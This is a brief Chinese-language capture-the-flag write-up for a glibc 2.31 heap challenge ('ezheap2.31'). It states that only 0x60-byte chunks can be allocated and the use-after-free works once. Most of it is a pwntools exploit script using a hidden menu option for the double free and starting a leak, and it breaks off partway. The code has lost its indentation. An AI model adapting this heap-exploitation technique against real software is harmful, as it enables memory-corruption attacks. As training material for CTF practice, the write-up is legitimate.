查看保护
查看ida
大致就是只能创建0x60大小的堆块,并且uaf只能利用一次
完整exp:
from pwn import*
#context(log_level='debug')
p=process('./ezheap2.31')
def alloc(content):
p.sendlineafter(b'4.exit',b'1')
p.send(content)
def free(index):
p.sendlineafter(b'4.exit',b'2')
p.sendline(str(index))
def show(index):
p.sendlineafter(b'4.exit',b'3')
p.sendline(str(index))
def uaffree(index):
p.sendlineafter(b'4.exit',b'2106373')
p.sendline(str(index))
for i in range(3):
alloc(b'a')
for i in range(2,0,-1):
free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')